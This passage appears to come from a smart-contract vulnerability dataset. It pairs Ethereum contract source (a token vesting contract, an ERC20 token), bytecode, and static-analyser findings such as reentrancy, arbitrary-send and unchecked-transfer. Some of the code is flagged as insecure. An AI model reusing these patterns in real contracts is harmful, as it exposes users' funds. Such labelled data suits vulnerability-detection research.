00090505b612031848484846125e0565b50505050565b600083831115829061207f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120769190613205565b60405180910390fd5b506000838561208e919061354d565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120eb60028461257990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612116573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216760028461257990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612192573d6000803e3d6000fd5b5050565b60006006548211156121dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d490613247565b60405180910390fd5b60006121e761261f565b90506121fc818461257990919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612262577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122905781602001602082028036833780820191505090505b50905030816000815181106122ce577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237057600080fd5b505afa158015612384573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123a89190612cd8565b816001815181106123e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244930601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124ad9594939291906133a2565b600060405180830381600087803b1580156124c757600080fd5b505af11580156124db573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125115760009050612573565b6000828461251f91906134f3565b905082848261252e91906134c2565b1461256e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612565906132c7565b60405180910390fd5b809150505b92915050565b60006125bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061264a565b905092915050565b600160088190555060018111156125dd5760146009819055505b50565b806125ee576125ed6126ad565b5b6125f98484846126de565b806126075761260661260d565b5b50505050565b60016008819055506014600981905550565b600080600061262c6128a9565b91509150612643818361257990919063ffffffff16565b9250505090565b60008083118290612691576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126889190613205565b60405180910390fd5b50600083856126a091906134c2565b9050809150509392505050565b60006008541480156126c157506000600954145b156126cb576126dc565b600060088190555060006009819055505b565b6000806000806000806126f08761290b565b95509550955095509550955061274e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461297390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127e385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129bd90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061282f81612a1b565b6128398483612ad8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128969190613387565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128df683635c9adc5dea0000060065461257990919063ffffffff16565b8210156128fe57600654683635c9adc5dea00000935093505050612907565b81819350935050505b9091565b60008060008060008060008060006129288a600854600954612b12565b925092509250600061293861261f565b9050600080600061294b8e878787612ba8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129b583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612037565b905092915050565b60008082846129cc919061346c565b905083811015612a11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a0890613287565b60405180910390fd5b8091505092915050565b6000612a2561261f565b90506000612a3c82846124fe90919063ffffffff16565b9050612a9081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129bd90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612aed8260065461297390919063ffffffff16565b600681905550612b08816007546129bd90919063ffffffff16565b6007819055505050565b600080600080612b3e6064612b30888a6124fe90919063ffffffff16565b61257990919063ffffffff16565b90506000612b686064612b5a888b6124fe90919063ffffffff16565b61257990919063ffffffff16565b90506000612b9182612b83858c61297390919063ffffffff16565b61297390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bc185896124fe90919063ffffffff16565b90506000612bd886896124fe90919063ffffffff16565b90506000612bef87896124fe90919063ffffffff16565b90506000612c1882612c0a858761297390919063ffffffff16565b61297390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c40816139a0565b92915050565b600081519050612c55816139a0565b92915050565b600081359050612c6a816139b7565b92915050565b600081519050612c7f816139b7565b92915050565b600081359050612c94816139ce565b92915050565b600081519050612ca9816139ce565b92915050565b600060208284031215612cc157600080fd5b6000612ccf84828501612c31565b91505092915050565b600060208284031215612cea57600080fd5b6000612cf884828501612c46565b91505092915050565b60008060408385031215612d1457600080fd5b6000612d2285828601612c31565b9250506020612d3385828601612c31565b9150509250929050565b600080600060608486031215612d5257600080fd5b6000612d6086828701612c31565b9350506020612d7186828701612c31565b9250506040612d8286828701612c85565b9150509250925092565b60008060408385031215612d9f57600080fd5b6000612dad85828601612c31565b9250506020612dbe85828601612c85565b9150509250929050565b600060208284031215612dda57600080fd5b6000612de884828501612c5b565b91505092915050565b600060208284031215612e0357600080fd5b6000612e1184828501612c70565b91505092915050565b600060208284031215612e2c57600080fd5b6000612e3a84828501612c85565b91505092915050565b600080600060608486031215612e5857600080fd5b6000612e6686828701612c9a565b9350506020612e7786828701612c9a565b9250506040612e8886828701612c9a565b9150509250925092565b6000612e9e8383612eaa565b60208301905092915050565b612eb381613581565b82525050565b612ec281613581565b82525050565b6000612ed382613427565b612edd818561344a565b9350612ee883613417565b8060005b83811015612f19578151612f008882612e92565b9750612f0b8361343d565b925050600181019050612eec565b5085935050505092915050565b612f2f81613593565b82525050565b612f3e816135d6565b82525050565b6000612f4f82613432565b612f59818561345b565b9350612f698185602086016135e8565b612f72816136c2565b840191505092915050565b6000612f8a60238361345b565b9150612f95826136d3565b604082019050919050565b6000612fad602a8361345b565b9150612fb882613722565b604082019050919050565b6000612fd060228361345b565b9150612fdb82613771565b604082019050919050565b6000612ff3601b8361345b565b9150612ffe826137c0565b602082019050919050565b6000613016601d8361345b565b9150613021826137e9565b602082019050919050565b600061303960218361345b565b915061304482613812565b604082019050919050565b600061305c60208361345b565b915061306782613861565b602082019050919050565b600061307f60298361345b565b915061308a8261388a565b604082019050919050565b60006130a260258361345b565b91506130ad826138d9565b604082019050919050565b60006130c560248361345b565b91506130d082613928565b604082019050919050565b60006130e860118361345b565b91506130f382613977565b602082019050919050565b613107816135bf565b82525050565b613116816135c9565b82525050565b60006020820190506131316000830184612eb9565b92915050565b600060408201905061314c6000830185612eb9565b6131596020830184612eb9565b9392505050565b60006040820190506131756000830185612eb9565b61318260208301846130fe565b9392505050565b600060c08201905061319e6000830189612eb9565b6131ab60208301886130fe565b6131b86040830187612f35565b6131c56060830186612f35565b6131d26080830185612eb9565b6131df60a08301846130fe565b979650505050505050565b60006020820190506131ff6000830184612f26565b92915050565b6000602082019050818103600083015261321f8184612f44565b905092915050565b6000602082019050818103600083015261324081612f7d565b9050919050565b6000602082019050818103600083015261326081612fa0565b9050919050565b6000602082019050818103600083015261328081612fc3565b9050919050565b600060208201905081810360008301526132a081612fe6565b9050919050565b600060208201905081810360008301526132c081613009565b9050919050565b600060208201905081810360008301526132e08161302c565b9050919050565b600060208201905081810360008301526133008161304f565b9050919050565b6000602082019050818103600083015261332081613072565b9050919050565b6000602082019050818103600083015261334081613095565b9050919050565b60006020820190508181036000830152613360816130b8565b9050919050565b60006020820190508181036000830152613380816130db565b9050919050565b600060208201905061339c60008301846130fe565b92915050565b600060a0820190506133b760008301886130fe565b6133c46020830187612f35565b81810360408301526133d68186612ec8565b90506133e56060830185612eb9565b6133f260808301846130fe565b9695505050505050565b6000602082019050613411600083018461310d565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613477826135bf565b9150613482836135bf565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134b7576134b6613664565b5b828201905092915050565b60006134cd826135bf565b91506134d8836135bf565b9250826134e8576134e7613693565b5b828204905092915050565b60006134fe826135bf565b9150613509836135bf565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561354257613541613664565b5b828202905092915050565b6000613558826135bf565b9150613563836135bf565b92508282101561357657613575613664565b5b828203905092915050565b600061358c8261359f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135e1826135bf565b9050919050565b60005b838110156136065780820151818401526020810190506135eb565b83811115613615576000848401525b50505050565b6000613626826135bf565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561365957613658613664565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139a981613581565b81146139b457600080fd5b50565b6139c081613593565b81146139cb57600080fd5b50565b6139d7816135bf565b81146139e257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201335073e94d8038abeab4a18a4256889667453397934f1067102e71a1578d28764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,486
0x33181CcD4531D6Ae9Db5d2C667F650814C338BCE
/** *Submitted for verification at Etherscan.io on 2021-11-30 */ // SPDX-License-Identifier: MIT pragma solidity 0.6.12; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract VRAdvisoryVesting { using SafeMath for uint256; IERC20 public token; /** * Time Zone: UTC * Start Date: 2022-01-02 08:00:00 AM * Last Date: 2024-10-02 08:00:00 AM */ uint[34] public LockedDateList = [ 1641110400, 1643788800, 1646208000, 1648886400, 1651478400, 1654156800, 1656748800, 1659427200, 1662105600, 1664697600, 1667376000, 1669968000, 1672646400, 1675324800, 1677744000, 1680422400, 1683014400, 1685692800, 1688284800, 1690963200, 1693641600, 1696233600, 1698912000, 1701504000, 1704182400, 1706860800, 1709366400, 1712044800, 1714636800, 1717315200, 1719907200, 1722585600, 1725264000, 1727856000 ]; uint256 public totalLockedToken; address public unlockAddress = 0x032283bE15Ee5beB78f2A5DA0b4b6886a4f3a8f6; uint256 public currentUnlockToken; uint256 public lastUnlockTime; uint256 public maxUnlockingTimes = 34; uint256 public beforeUnlockingTimes = 32; uint256 public beforeUnlockingToken; uint256 public afterUnlockingTimes = 2; uint256 public afterUnlockingToken; event MonthUnlock(address indexed mananger, uint256 day, uint256 amount); modifier unlockCheck() { if(currentUnlockToken == 0) { require( balanceOf() >= totalLockedToken, "The project party is requested to transfer enough tokens to start the lock up contract" ); } require(msg.sender == unlockAddress, "You do not have permission to unlock"); _; } constructor(address _token) public { token = IERC20(_token); uint256 _decimals = token.decimals(); totalLockedToken = (10 ** _decimals).mul(126_000_000); // total 126 million beforeUnlockingToken = totalLockedToken.mul(3).div(100); // 3% token afterUnlockingToken = totalLockedToken.mul(2).div(100); // 2% token } function blockTimestamp() public view returns(uint256) { return block.timestamp; } function getUnlockedTimes() public view returns(uint256) { uint256 allTimes; for(uint i = 0; i < LockedDateList.length; i++) { if(blockTimestamp() >= LockedDateList[i]) { allTimes++; } } return allTimes; } function balanceOf() public view returns(uint256) { return token.balanceOf(address(this)); } function managerBalanceOf() public view returns(uint256) { return token.balanceOf(unlockAddress); } function monthUnlock() public unlockCheck { require(balanceOf() > 0, "There is no balance to unlock and withdraw"); uint256 unlockTime = getUnlockedTimes(); uint256 unlockToken; if(unlockTime >= maxUnlockingTimes) { unlockToken = balanceOf(); lastUnlockTime = maxUnlockingTimes; } else { require(unlockTime > lastUnlockTime, "No current extractable times"); uint256 allowMaxCount = unlockTime.sub(lastUnlockTime); if(beforeUnlockingTimes > 0) { if(beforeUnlockingTimes > allowMaxCount) { beforeUnlockingTimes = beforeUnlockingTimes.sub(allowMaxCount); unlockToken = unlockToken.add(allowMaxCount.mul(beforeUnlockingToken)); allowMaxCount = 0; } else { allowMaxCount = allowMaxCount.sub(beforeUnlockingTimes); unlockToken = unlockToken.add(beforeUnlockingTimes.mul(beforeUnlockingToken)); beforeUnlockingTimes = 0; } } if(allowMaxCount > 0) { unlockToken = unlockToken.add(allowMaxCount.mul(afterUnlockingToken)); afterUnlockingTimes = afterUnlockingTimes.sub(allowMaxCount); } lastUnlockTime = unlockTime; } currentUnlockToken = currentUnlockToken.add(unlockToken); _safeTransfer(unlockToken); emit MonthUnlock(unlockAddress, unlockTime, unlockToken); } function _safeTransfer(uint256 unlockToken) private { require(balanceOf() >= unlockToken, "Insufficient available balance for transfer"); token.transfer(unlockAddress, unlockToken); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063b30929cd11610097578063ebfda9bb11610066578063ebfda9bb146101aa578063ef398d99146101b2578063efb76eec146101ba578063fc0c546a146101c257610100565b8063b30929cd14610159578063c1cb359c1461017d578063cc85b2cd1461019a578063d1dbaa93146101a257610100565b80637e770716116100d35780637e77071614610137578063a4ecfa8314610141578063a5c38b3d14610149578063adb618321461015157610100565b806309f0a7d4146101055780630da635221461011f578063496ec7ec14610127578063722713f71461012f575b600080fd5b61010d6101ca565b60408051918252519081900360200190f35b61010d6101d0565b61010d6101d6565b61010d6101dc565b61013f610259565b005b61010d6104eb565b61010d6104f1565b61010d6104f7565b6101616104fb565b604080516001600160a01b039092168252519081900360200190f35b61010d6004803603602081101561019357600080fd5b503561050a565b61010d61051e565b61010d61056f565b61010d6105af565b61010d6105b5565b61010d6105bb565b6101616105c1565b602a5481565b60235481565b602b5481565b60008054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561022857600080fd5b505afa15801561023c573d6000803e3d6000fd5b505050506040513d602081101561025257600080fd5b5051905090565b6025546102a85760235461026b6101dc565b10156102a85760405162461bcd60e51b81526004018080602001828103825260568152602001806109506056913960600191505060405180910390fd5b6024546001600160a01b031633146102f15760405162461bcd60e51b81526004018080602001828103825260248152602001806109a66024913960400191505060405180910390fd5b60006102fb6101dc565b116103375760405162461bcd60e51b815260040180806020018281038252602a815260200180610905602a913960400191505060405180910390fd5b600061034161056f565b905060006027548210610363576103566101dc565b6027546026559050610484565b60265482116103b9576040805162461bcd60e51b815260206004820152601c60248201527f4e6f2063757272656e74206578747261637461626c652074696d657300000000604482015290519081900360640190fd5b60006103d06026548461067490919063ffffffff16565b6028549091501561044b57806028541115610419576028546103f29082610674565b60285560295461040e906104079083906105d0565b83906106b6565b91506000905061044b565b602854610427908290610674565b90506104436104076029546028546105d090919063ffffffff16565b600060285591505b801561047d57610469610407602b54836105d090919063ffffffff16565b602a549092506104799082610674565b602a555b5060268290555b60255461049190826106b6565b60255561049d81610710565b602454604080518481526020810184905281516001600160a01b03909316927f7c7715ace9c30bc515813d64c04ff95a9e494bc60bd6f03737dce42cf445bf46929181900390910190a25050565b60255481565b60265481565b4290565b6024546001600160a01b031681565b6001816022811061051757fe5b0154905081565b6000805460248054604080516370a0823160e01b81526001600160a01b039283166004820152905191909316926370a082319281810192602092909190829003018186803b15801561022857600080fd5b60008060005b60228110156105a9576001816022811061058b57fe5b01546105956104f7565b106105a1576001909101905b600101610575565b50905090565b60285481565b60295481565b60275481565b6000546001600160a01b031681565b6000826105df5750600061062c565b828202828482816105ec57fe5b04146106295760405162461bcd60e51b815260040180806020018281038252602181526020018061092f6021913960400191505060405180910390fd5b90505b92915050565b600061062983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506107dd565b600061062983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061087f565b600082820183811015610629576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b806107196101dc565b10156107565760405162461bcd60e51b815260040180806020018281038252602b8152602001806108da602b913960400191505060405180910390fd5b60008054602480546040805163a9059cbb60e01b81526001600160a01b0392831660048201529283018690525192169263a9059cbb926044808401936020939083900390910190829087803b1580156107ae57600080fd5b505af11580156107c2573d6000803e3d6000fd5b505050506040513d60208110156107d857600080fd5b505050565b600081836108695760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561082e578181015183820152602001610816565b50505050905090810190601f16801561085b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161087557fe5b0495945050505050565b600081848411156108d15760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561082e578181015183820152602001610816565b50505090039056fe496e73756666696369656e7420617661696c61626c652062616c616e636520666f72207472616e736665725468657265206973206e6f2062616c616e636520746f20756e6c6f636b20616e64207769746864726177536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775468652070726f6a6563742070617274792069732072657175657374656420746f207472616e7366657220656e6f75676820746f6b656e7320746f20737461727420746865206c6f636b20757020636f6e7472616374596f7520646f206e6f742068617665207065726d697373696f6e20746f20756e6c6f636ba26469706673582212207d53e2aa80b12265ce57a2e309061da9b1ecad7f4d0f75e8d6e99e59513dd21464736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
7,487
0xb30a38fae3730863b5a17a7d5d935065f96e9552
pragma solidity ^0.4.15; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = 